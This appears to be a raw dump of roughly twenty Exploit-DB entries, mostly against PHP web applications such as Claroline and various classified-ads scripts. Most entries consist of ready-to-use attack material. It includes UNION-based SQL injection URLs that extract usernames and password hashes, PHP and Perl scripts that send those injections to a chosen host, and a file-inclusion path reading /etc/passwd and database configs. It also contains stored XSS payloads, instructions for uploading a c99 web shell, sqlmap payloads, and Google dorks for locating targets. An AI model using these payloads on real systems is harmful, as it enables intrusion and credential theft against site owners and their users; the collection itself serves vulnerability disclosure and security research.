deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25553
Description: Claroline E-Learning 1.5/1.6 - 'exercises_details.php?exo_id' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-27
Author: Sieg Fried

Exploit:
source: https://www.securityfocus.com/bid/13407/info
    
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
    
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
    
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
    
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.

http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--
Exploit-DB #25552
Description: Claroline E-Learning 1.5/1.6 - 'userInfo.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-04-27
Author: Sieg Fried

Exploit:
source: https://www.securityfocus.com/bid/13407/info
   
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
   
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
   
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
   
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.

http:///www.example.com/claroline/user/userInfo.php?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*
Exploit-DB #1052
Description: Claroline E-Learning 1.6 - Remote Hash SQL Injection (1)
Type: webapps
Platform: php
Date: 2005-06-17
Author: mh_p0rtal

Exploit:
<?php
#############################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   Claroline E-Learning Application
#
# Exploit By :  MH_p0rtal
#
# Discovered By: Sieg Fried
#
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# Please replace your name file  ( userInfo.php Or  exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# __________End Config
#############################################################################
if ( $file1 == "userInfo.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
//-------------------------------------------------------------------------------------------
if ( $file1 == "exercises_details.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
}
?>

// milw0rm.com [2005-06-17]
Exploit-DB #1053
Description: Claroline E-Learning 1.6 - Remote Hash SQL Injection (2)
Type: webapps
Platform: php
Date: 2005-06-19
Author: K-C0d3r

Exploit:
#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]

use IO::Socket;

sub Usage {
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n";
print STDERR "Targets:\n1 - userInfo.php\n";
print STDERR "2 - exercises_details.php\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}

if (@ARGV > 3)
{
 Usage();
}

if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];

print "[K-C0d3r]  Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";
print "[+] Connecting to $host\n";

$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";

$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 80,
                                Proto => 'tcp');
                                die unless $socket;

print "[+] Injecting command ...\n";

if ($target == 1)
{
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
if ($target == 2)
{
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
 print $_;
 exit;
}
}
}

# milw0rm.com [2005-06-19]
Exploit-DB #7579
Description: ClaSS 0.8.60 - 'export.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-24
Author: fuzion

Exploit:
ClaSS
http://www.laex.org/class/


- <=0.8.60 -
magic_quotes_gpc = Off
register_globals = On


- File Disclosure/Download -
http://site/Class/class/scripts/export.php?ftype=
/../../path/to/Class/school.php
/../../path/to/Class/dbh_connect.php
/../../etc/passwd


- Timeline -
Author notified: Dec 19
Patch 0.8.61: Dec 19


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-24]
Exploit-DB #49323
Description: Class Scheduling System 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2020-12-23
Author: Aakash Madaan

Exploit:
# Exploit Title:  Class Scheduling System 1.0 - Multiple Stored XSS
# Exploit Author: Aakash Madaan (Godsky)
# Date: 2020-12-22
# Vendor Homepage: https://www.sourcecodester.com/php/5175/class-scheduling-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5175&title=Class+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code
# Affected Version: Version 1
# Category: Web Application
# Tested on: Parrot OS

[+] Step 1. Login to the application with admin credentials

[+] Step 2.1(a). Click on "Department" page.  {Uri :http(s)://<host>/admin/department.php}
    Step 2.1(b). In the "Person Incharge" field, use XSS payload '"><script>alert("Department")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Title" field ]
    Step 2.1(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Department", your XSS Payloads will be triggered.

[+] Step 2.2(a). Click on "Subject" page.  {Uri :http(s)://<host>/admin/subject.php}
    Step 2.2(b). In the "Subject Code" field, use XSS payload '"><script>alert("Subject")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Title" field ]
    Step 2.2(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Subject", your XSS Payloads will be triggered.

[+] Step 2.3(a). Click on "Course" page.  {Uri :
http(s)://<host>/admin/course.php}
    Step 2.3(b). In the "Course Year" field, use XSS payload '"><script>alert("Course")</script>' as the name of new course and click on save.
                 [ Note : The XSS can also be triggered if we put the same payload in "Major" field ]
    Step 2.3(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Course", your XSS Payloads will be triggered.

[+] Step 2.3(a). Click on "Record" page.  {Uri :http(s)://<host>/admin/record.php}
    Step 2.3(b). In the "Name" field, use XSS payload '"><script>alert("Record")</script>' as the name of new course and click onsave.
                 [ Note : The XSS can also be triggered if we put the same payload in "Academic Rank" or "Designation" field ]
    Step 2.3(c). Click on "Save" when done and this will trigger the Stored XSS payloads. Whenever you click on "Record", your XSS Payloads will be triggered.

[+] Step 3. This should trigger the XSS payload and anytime you click on respective pages, your stored XSS payload will be triggered.
Exploit-DB #16050
Description: class.upload.php 0.30 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-01-26
Author: DIES3L

Exploit:
[#] Exploit Title:  class.upload.php v 0.30 Remote File Upload Vulnerability
[#] Author: DIES3L
[#] Email: zxn@Hotmail.Com
[#] Date: 26-1-2011
[#] Software Link: http://www.verot.net
[#] GooGle Dork : No Dork For Kids :)
[#] Version: 0.30
[#] Tested on: LiNuX

======================

[-- Exploit --]
http://localhost/[path]/

+ Click Browse Then Chose Your Shell  c99php3txt.php3
+ Your Shell Here :
http://localhost/[path]/test/c99php3txt.php3

Have Fun !
======================

[-- Greetz To --]
Me :$

======================
Exploit-DB #34722
Description: ClassApps SelectSurvey.net - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-09-20
Author: BillV-Lists

Exploit:
##########
# Exploit Title: Multiple SQL Injection Vulnerabilities in SelectSurvey.net
# Google Dork: intitle:SelectSurvey
# Date: Sep 03 2014
# Vendor Homepage: https://www.classapps.com/
# Software Link: https://www.classapps.com/SelectSurveyNETOverview.asp
# Version: 4.124.004
# Tested on: Windows 2008 R2/SQL Server 2008
# CVE: 2014-6030
##########

Description
==========
SelectSurvey.net is a web-based survey application written in ASP.net
and C#. It is vulnerable to multiple SQL injection attacks, both
authenticated and unauthenticated. The authenticated vulnerability
resides within the file upload script, as the parameters are not
sanitized prior to being placed into the SQL query. ClassApps had
previously listed 'SQL injection protection' as a feature and did have
several functions in place to attempt to prevent such attacks but due to
using a "blacklisting" approach, it is possible to circumvent these
functions. These functions are used elsewhere throughout the application
to protect GET request variables but are not sufficient. Only this
specific version of the application has been tested but it is highly
likely these vulnerabilities exist within prior versions. It has not
been confirmed that these vulnerabilities are fixed. The vendor stated
that they would be fixed in this new release however, they do not allow
download of the code unless you are a customer so fixes have not been
verified.

Vulnerabilities
==========
Unauthenticated:
http[s]://<host>/survey/ReviewReadOnlySurvey.aspx?ResponseID=<num>&SurveyID=[SQLi]

Authenticated:
http[s]://<host>/survey/UploadImagePopupToDb.aspx?ResponseID=<num>&SurveyID=[SQLi]

sqlmap identified the following injection points:
---
Place: GET
Parameter: SurveyID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ResponseID=1&SurveyID=1' AND 4002=4002 AND 'dLur'='dLur

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ResponseID=1&SurveyID=1'; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ResponseID=1&SurveyID=1' WAITFOR DELAY '0:0:5'--
---
[14:01:39] [INFO] testing Microsoft SQL Server
[14:01:39] [INFO] confirming Microsoft SQL Server
[14:01:39] [INFO] the back-end DBMS is Microsoft SQL Server
[14:01:39] [INFO] fetching banner
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS operating system: Windows 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
    Jun 28 2012 08:36:30
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601:
Service Pack 1)
---
Exploit-DB #10839
Description: Classified Ads Scrip - 'store_info.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
|___________________________________________________
|
|  Classified Ads Scrip ( store_info.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/product_details.php?item_id=5
|
| DorK   : :)
|___________________________________________________

Exploit:
________



www.[target].com/Script/store_info.php?id=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(user(),0x3e,version()),18,19,20,21,22,23--



IQ-SecuritY FoRuM
Exploit-DB #37479
Description: Classified Ads Script PHP - 'admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-07-04
Author: snup

Exploit:
source: https://www.securityfocus.com/bid/54299/info

Classified Ads Script PHP is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Classified Ads Script PHP 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/test/classifiedscript/admin.php?act=ads&orderType=[ ASC/ DESC ]&search=&orderBy=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=ads&orderType=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType=[ASC / DESC ]&search=&orderBy=[SQL-INJECTION]

http://www.example.com/test/classifiedscript/admin.php?act=comments&ads_id=&orderType[SQL-INJECTION]
Exploit-DB #34748
Description: Classified Linktrader Script - 'addlink.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43497/info

Classified Linktrader Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/addlink.php?txtName=1&txtEmail=1&1&txtHURL=1&txtLURL=1&slctCategories=null+union+all%20select+1,version(),3--&txtSlogan=1&txtDescription=1&cmdPreview=Preview--
Exploit-DB #35927
Description: Classified Script - c-BrowseClassified Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-07-05
Author: Raghavendra Karthik D

Exploit:
source: https://www.securityfocus.com/bid/48564/info

Classified Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/c-BrowseClassified/q:%5C%22%3E%3Cmarquee%3E%3Ch1%3EXSSed%20By%20r007k17%3C/h1%3E%3C/marquee%3E|p:0|gal:0|typ:|/
Exploit-DB #5450
Description: Classifieds Caffe - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-15
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+               Classifieds Caffe (index.php cat_id) Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Classifieds Caffe
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Exploit:

[~] /index.php?action=add&cat_id=[SQL]
[~] 7'+union+all+select+0,1,convert(concat(database(),char(58),user(),char(58),version()),char),3/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-15]
Exploit-DB #40591
Description: Classifieds Rental Script - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-20
Author: Arbin Godar

Exploit:
# Exploit Title: SQL Injection in Classifieds Rental Script
# Date: 19 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Vendor: www.i-netsolution.com

*----------------------------------------------------------------------------------------------------------------------*

# Proof of Concept SQL Injection/Exploit : 
http://localhost/[PATH]/viewproducts.php?catid=PoC%27

# Exploit (using Sqlmap)
---
Parameter: catid (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: catid=-1285' OR 8060=8060#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: catid=-9700' OR 1 GROUP BY CONCAT(0x717a627071,(SELECT (CASE WHEN (7055=7055) THEN 1 ELSE 0 END)),0x716a767871,FLOOR(RAND(0)*2)) HAVING MIN(0)#

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: catid=-4664' UNION ALL SELECT CONCAT(0x717a627071,0x444c6a[PII_REDACTED]515a[PII_REDACTED][PII_REDACTED]764a5a[PII_REDACTED]5072666b5954674a58484577,0x716a767871)#
---
Exploit-DB #13971
Description: Classifieds Script - 'rate' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Classifieds SQL Injection
Vendor url:http://getaphpsite.com
Version:1
Price:20$
Published: 2010-06-22
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, M4n0j, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team , Andhrahackers.com
Shoutzz:- To all ICW members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

Classifieds are an excellent revenue generator that brings sellers and buyers together. With our classifieds site, you can build revenues by offering a service that everyone can use.
The classifieds site is a 100% automated site that allows seller to post ads based on categories. The site comes preprogrammed with PayPal and Stormpay as payment processors using the IPN system for a truly hands free experience.
Sellers create an account and pick a package to post their ads that the admin specifies, which includes choosing from standard ads to featured ads that appear on the main webpage.
This site also includes a rotating banner management system and newsletter that is easily moderated from the admin area.

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/classifieds/search.php?rate=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #41127
Description: Classifieds Script - 'term' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Classifieds Script 
# Script Buy Now:http://www.scriptfolder.com/scriptfolder-classifieds/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #10833
Description: Classifieds Script - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-30
Author: Hussin X

Exploit:
Classifieds Script (type) Remote SQL Injection Vulnerability

|    Author: Hussin X
|
|    Home :  www.iq-ty.com<http://www.iq-ty.com>
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
| d0rk : inurl:"showcategory.php?type"


POC :

http://[server]/showcategory.php?type=6&cid=-1+union+select+1,unhex(hex(concat(admin_name,0x3e,pwd))),3,4,5+from+freetplbanners_admin--


#end

IQ-SecuritY FoRuM
Exploit-DB #36975
Description: ClassifiedsGeek.com Vacation Packages - 'listing_search' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-19
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/52637/info

Vacation Packages is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://wwww.example.com/vacation-packages/demo.php?controller=Listings&action=search&listing_search=1&season=2'